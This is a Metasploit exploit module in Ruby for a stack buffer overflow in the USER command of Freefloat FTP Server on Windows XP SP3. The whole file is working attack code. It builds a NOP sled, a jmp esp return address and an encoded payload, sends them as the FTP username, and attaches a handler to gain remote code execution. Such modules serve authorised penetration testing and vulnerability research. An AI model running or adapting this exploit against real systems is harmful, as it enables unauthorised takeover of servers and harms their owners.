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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Freefloat FTP Server Username Stack Overflow', 'Description'=> %q{ This module exploits a buffer overflow found in the USER command of the Freefloat FTP server. }, 'Author' => [ '0v3r', # Initial Discovery 'James Fitts' # Metasploit Module ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/15689' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload'=> { 'BadChars' => "\x00\x0a\x0d", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows XP SP3', { 'Ret' => 0x77def069 } ], # jmp esp from ADVAPI32.dll ], 'DisclosureDate' => 'Dec 05 2010', 'DefaultTarget' => 0)) end def exploit connect print_status("Trying target #{target.name}...") buf = make_nops(230) + [target.ret].pack('V') buf << make_nops(50) buf << payload.encoded send_cmd( ['USER', buf] , false ) handler disconnect end end |
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